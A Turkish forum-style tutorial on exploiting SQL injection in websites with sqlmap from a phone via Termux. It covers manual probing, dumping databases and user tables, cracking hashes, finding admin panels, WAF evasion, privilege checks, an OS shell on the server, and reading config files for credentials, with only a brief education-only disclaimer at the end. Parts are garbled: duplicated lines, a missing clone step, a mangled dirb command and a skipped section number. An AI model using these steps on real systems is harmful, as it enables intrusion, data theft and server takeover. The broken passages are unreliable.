Selamlar beyler, bugün mobil üzerinden (Termux kullanarak) bir web sitesinde SQL injection açığı nasıl yakalanır ve bu açık üzerinden veri tabanı nasıl sömürülür, en ince detayına kadar bakacağız. Her şeyi otomatiğe bağlamadan önce, işin mantığını kavramak adına manuel testlerden başlayacağız.
1. Sitede Açık Olduğunu Nasıl Anlarız? (Manuel Kontrol)
SQLmap’e her URL’yi yapıştırmak yerine önce kapıyı bir yoklamamız lazım. Sitenin "SQL injection" yemeye müsait olup olmadığını şu yöntemlerle anlarız:
Hata Tetikleme: URL sonundaki ID değerine bir tek tırnak (') atın.
Hata Tetikleme: URL sonundaki ID değerine bir tek tırnak (') atın.
- Örnek: site.com/detay.php?id=5'
- Eğer ekranda "SQL Syntax Error" gibi bir hata görüyorsanız ya da sayfanın tasarımı tamamen kayıyorsa, içeride bir boşluk var demektir.
Mantıksal Sorgular (True/False): Hata mesajı kapalıysa (Blind SQLi), basit mantık yürütürüz.
- id=5 and 1=1 yazdığınızda sayfa normal açılıyorsa,
- id=5 and 1=2 yazdığınızda sayfa içeriği değişiyor veya hata veriyorsa, geçmiş olsun; site sizin SQL komutlarınızı okuyor.
2. Termux Üzerinde Hazırlık
Açığı bulduysak Termux'a geçip araçlarımızı kuşanalım. Python ve Git yüklü değilse önce onları aradan çıkarın:
pkg update && pkg upgrade -y
pkg install python git -y
cd sqlmap
3. SQLmap ile Adım Adım Sızma
Burada işler biraz ciddileşiyor. Veriyi parça parça çekmek her zaman daha sağlıklıdır.
A. Veri Tabanlarını Listeleme (DBS)
Önce sistemde kaç tane veri tabanı var ona bakıyoruz.
python sqlmap.py -u "http://hedef.com/index.php?id=1" --dbs --batch
--batch parametresi önemli; SQLmap'in size sürekli soru sorup zaman kaybettirmesini engeller, otomatik geçer.
B. Tabloları Çekme
Diyelim ki veri tabanı ismini root_data olarak bulduk. Şimdi bunun içindeki tabloları görmemiz lazım:
python sqlmap.py -u "http://hedef.com/index.php?id=1" -D root_data --tables
C. Kolonları Görme ve Veriyi Dump Etme
Tablolar arasından users veya admin_login gibi bir tablo gözünüze çarptıysa, içindeki sütunları (id, user, password) listeleyip veriyi çekiyoruz:
python sqlmap.py -u "http://hedef.com/index.php?id=1" -D root_data -T users --dump
4. Şifreleri Kırma ve Panele Giriş
Tabloyu dump ettiniz ama şifreler 81dc9bdb52d04... gibi kodlanmış geliyorsa bunlar Hash'tir.
- Kırma: CrackStation gibi siteleri kullanın veya Termux'a hash-identifier kurup türünü belirleyin.
- Panel Bulma: Verileri aldınız ama giriş paneli nerede? /admin, /login.php gibi yolları deneyin veya Termux'a dirb kurup siteyi taratın
kg install dirbdirb http://hedefsite.com/
Bu komut sonrası kullanıcı adları ve şifreler (genelde hashlenmiş halde) karşınıza dökülecektir.
5. Profesyonel İpuçları (WAF Geçme)
Eğer site sizi engelliyorsa (Forbidden hatası vb.), SQLmap’e biraz "insan" süsü vermeniz gerekir:
- --random-agent: Tarayıcıyı rastgele değiştirir.
- --tamper=space2comment: Sorgular arasındaki boşlukları yorum satırına çevirerek filtreleri aşmaya çalışır.
- --level=3 --risk=2: Eğer açık derindeyse tarama seviyesini artırır.
Özet Tablo:
Database Listesi --dbs
Tablo Listesi -D [db_adi] --tables
Verileri Çekme -T [tablo_adi] --dump
Kullanıcı Yetkileri --users
Tablo Listesi -D [db_adi] --tables
Verileri Çekme -T [tablo_adi] --dump
Kullanıcı Yetkileri --users
6. Veri Tabanı Kullanıcısının Yetkilerini Kontrol Etme
Veri tabanına sızdın ama her şeyi yapabilir misin? root yetkisine mi sahipsin yoksa sıradan bir kullanıcı mı? Bunu bilmek saldırının yönünü değiştirir.
Komut: python sqlmap.py -u "http://site.com/id=1" --privileges
Eğer FILE yetkiniz varsa, sunucuya dosya yazabilir (Shell atabilir) veya sistem dosyalarını okuyabilirsiniz.
8. OS-Shell ile Sunucuya Komut Gönderme
En heyecan verici kısım burası. Eğer yetkileriniz yeterliyse, terminal üzerinden doğrudan sunucunun işletim sistemine komut gönderebilirsiniz. Yani sadece veri tabanını değil, tüm sunucuyu yönetebilirsiniz.
Komut : python sqlmap.py -u "http://site.com/id=1" --os-shell
Bu komutu yazdığınızda size bir shell ekranı açılır ve artık ls, whoami, cat /etc/passwd gibi sistem komutlarını çalıştırabilirsiniz.
9. Config Dosyalarını Okuyarak Daha Derine İnmek
Veri tabanı bağlantı bilgilerini içeren config.php, settings.py veya .env gibi dosyaları okuyabilirseniz, sitenin ana şifrelerine ulaşabilirsiniz.
Komut (FILE yetkisi varsa): python sqlmap.py -u "http://site.com/id=1" --file-read="/var/www/html/config.php"
10. POST Methodu ile Sızma (Form Injection)
Bazen açık URL'de değil, giriş formlarındadır (Login sayfası gibi). SQLmap ile bunları da yakalayabilirsiniz.
- Önce giriş formuna rastgele bilgiler yazıp isteği yakalayın (Burp Suite ile veya tarayıcı incele kısmından).
- Bu isteği bir metin dosyasına (request.txt) kaydedin.
- Termux'ta şu komutu çalıştırın: python sqlmap.py -r request.txt --dbs
Küçük Bir Uyarı: Bu notları tamamen eğitim ve kendi sistemlerinizi test etmeniz için paylaşıyorum. Başkasının bahçesine izinsiz girmek başınızı ağrıtabilir, dikkatli olun.
Takıldığınız bir yer olursa aşağıya yazın, müsait oldukça bakarım.
Takıldığınız bir yer olursa aşağıya yazın, müsait oldukça bakarım.




